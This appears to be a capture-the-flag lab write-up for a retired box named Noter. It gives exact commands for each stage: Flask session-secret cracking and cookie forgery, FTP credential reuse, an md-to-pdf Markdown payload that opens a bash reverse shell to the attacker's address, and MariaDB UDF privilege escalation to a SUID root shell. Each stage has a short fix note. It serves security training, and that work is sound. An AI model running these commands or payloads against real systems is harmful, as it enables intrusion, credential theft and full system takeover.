Noter
Summary
I found a Flask note-taking app (Noter) on port 5000 that signs its session cookies with a weak, guessable secret. Source code recovered from FTP backups confirmed the secret and exposed the app's internals. Forging a session as an existing user exposed notes containing FTP credentials.
Those credentials opened the FTP server, where the application backups sat. The backed-up source showed that the app's 'export note from URL' feature passes fetched Markdown to the Node md-to-pdf library, which runs JavaScript embedded in the file. Abusing that gave command execution as the low-privileged 'svc' account.
Database root credentials hardcoded in the app source, plus a MariaDB server running as the OS root user, allowed a User-Defined Function library to be loaded. That ran commands as root and gave full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for pwn8079>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <db_root_password>, <forged_cookie>, <hex_of_so>, <plugin_dir>, <session_cookie> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Identify FTP (21), SSH (22) and the Flask app (5000).
$ nmap -sC -sV -p- --min-rate 2000 $TARGETMap the application routes.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/notesRegister a low-privilege test account.
$ curl -sS -c noter.cookies -b noter.cookies -d "name=Pwn&email=pwn8079%40lab.local&username=pwn8079&password=$PASSWORD2&confirm=$PASSWORD2" -X POST http://$TARGET:5000/registerLog in and inspect the session cookie.
$ curl -sS -c noter.cookies -b noter.cookies -d "username=pwn8079&password=$PASSWORD2" -X POST -D - http://$TARGET:5000/login -o /dev/nullExact commands 3
Recover the signing secret (here '$KEY') from the cookie issued for the test account.
$ flask-unsign --unsign --cookie '<session_cookie>' --wordlist /usr/share/wordlists/rockyou.txtForge a session for the existing user 'blue'.
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret $KEYRead the impersonated user's notes.
$ curl -sS -i -b 'session=<forged_cookie>' http://$TARGET:5000/notesFixUse a long random secret key and keep it out of source controlCritical
Exact commands 2
Read the password policy retrieved from the FTP service.
$ pdftotext -layout policy.pdf -Confirm the derived FTP credential works and list files.
$ curl -sS --user "$PASSWORD:$PASSWORD" ftp://$TARGET/FixRemove credentials from notes, stop using predictable passwords, and keep backups off FTPHigh
Exact commands 3
Download the newest application backup.
$ curl -sS --user "$PASSWORD:$PASSWORD" ftp://$TARGET/app_backup_1638395546.zip -o app_backup_new.zipList and extract the source.
$ unzip -l app_backup_new.zip && unzip -o app_backup_new.zip -d src_newReview the Flask source for secrets, database settings and risky features.
$ sed -n '1,110p' src_new/app.pyExact commands 4
Host a Markdown file whose front matter runs a reverse shell. Replace $ATTACKER_IP.
$ printf -- '---js\n((require("child_process")).execSync("bash -c \\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\""))\n---RCE\n' > exploit.md && python3 -m http.server 80Catch the reverse shell.
$ nc -lvnp 4444Trigger the server to fetch and render the malicious Markdown. Confirm the exact route name in app.py.
$ curl -sS -b 'session=<forged_cookie>' -d "url=http://$ATTACKER_IP/exploit.md" http://$TARGET:5000/export_note_remoteProve access as svc, then read <user.txt>.
$ id; cat /home/svc/user.txt
uid=1001(svc) gid=1001(svc)FixPatch md-to-pdf and stop rendering untrusted remote Markdown with code evaluation enabledCritical
Exact commands 3
Locate the hardcoded database user and password.
$ grep -n 'MYSQL' ~/app/web/app.pyConfirm mysqld/mariadbd runs as root.
$ ps aux | grep -i [m]ysqlSubstitute the password found in app.py. Check the plugin directory and privileges.
$ mysql -u root -p'<db_root_password>' -e 'select @@plugin_dir, @@secure_file_priv; show grants;'FixRun MariaDB as an unprivileged user and use a least-privilege database account for the appCritical
Exact commands 4
Compile the UDF library (raptor_udf2.c, public PoC) on my host or target.
$ gcc -shared -fPIC -o raptor_udf2.so raptor_udf2.cWrite the library into the plugin directory and register the function. Use the plugin_dir value from the previous step.
$ mysql -u root -p'<db_root_password>' -e "select binary 0x<hex_of_so> into dumpfile '<plugin_dir>/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';"Create a SUID-root copy of bash.
$ mysql -u root -p'<db_root_password>' -e "select do_system('cp /bin/bash /tmp/rb; chmod +s /tmp/rb');"Prove root with id, then read <root.txt>.
$ /tmp/rb -p -c 'id; cat /root/root.txt'Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh recon-sweep-discovered |
| 5000/tcp | http Werkzeug httpd 2.0.2 (Python 3.8.10) |